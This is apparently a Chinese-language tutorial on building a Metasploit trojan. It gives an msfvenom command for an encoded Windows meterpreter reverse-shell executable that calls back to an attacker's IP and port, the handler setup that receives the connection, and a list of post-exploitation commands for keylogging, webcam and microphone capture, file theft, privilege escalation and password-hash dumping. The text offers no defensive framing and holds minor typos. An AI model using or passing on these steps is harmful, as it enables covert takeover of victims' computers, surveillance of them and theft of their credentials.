Metasploit 之木马的功能利用

Msfconsole 启动metasploit的命令行模式

·木马： 控制端（控制原程） --------- 服务端（木马程序）

1. 根据自己的IP生成一个木马（192.168.136.255）

msfvenom -p windows/meterpreter/reverse\_tcp -e x86/shikata\_ga\_nai -i 5 -b ‘\x00’ LHOST=192.168.136.255 LPORT=55555 -f exe > abc.exe

这样会生成一个test.exe的木马程序，将此程序粘贴到其他的系统（例如我的window10）

------------------------------以下是在metasploit里面进行的---------------------

1. use exploit/multi/handler

使用handler这个模块

1. set PWYLOAD windows/meterpreter/reverse\_tcp

使用这个shellcode

LHOST = 192.168.136.255

LPORT = 55555

这里天生成木马的IP和端口

1. 先执行msf，后执行木马

下面将怎样使用木马：

注入进程： 木马随时可能被结束掉

Ps 得到我们要注入的PID进程

Migrate xxx 注入

远程桌面的开启: run vnc

文件管理功能：download —— 下载文件

Edit —— 编辑文件

Cat —— 查看文件

Mkdir —— 创建文件

Mv —— 移动文件

Rm —— 删除文件

Upload —— 上传文件

rmdir —— 删除文件夹

网络及系统操作： arp —— 看ARP缓冲表

Ifconfig —— IP地址网卡

Getproxy —— 获取代理

Netstat —— 查看端口链接

Kill —— 结束进程

Ps —— 查看进程

Reboot —— 重启电脑

Reg —— 修改注册表

Shell —— 获取shell

Shutdown —— 关闭电脑

Sysinfo —— 获取电脑信息

用户操作和其他功能： enumdesktops —— 窗体

Keyscan\_start —— 键盘记录开始

Keyscan\_dump —— 键盘记录，下载

Ketscan\_stop —— 键盘记录停止

Uictl —— 获取键盘鼠标控制权

Record\_mic —— 音频录制

Webcam\_chat —— 查看摄像头接口

Webcam\_list —— 查看摄像头列表

Webcam\_stream —— 摄像头视频获取

Getsystem —— 获取高权限

Hashdump —— 下载hash

例： uictl disable keyboard 控制键盘输出

unictl enable 释放键盘

音频录制： apt-get install mplayer (已安装)

record\_mic -d 10 (后面的10表示10秒)

Mplayer 文件名（听所录的音）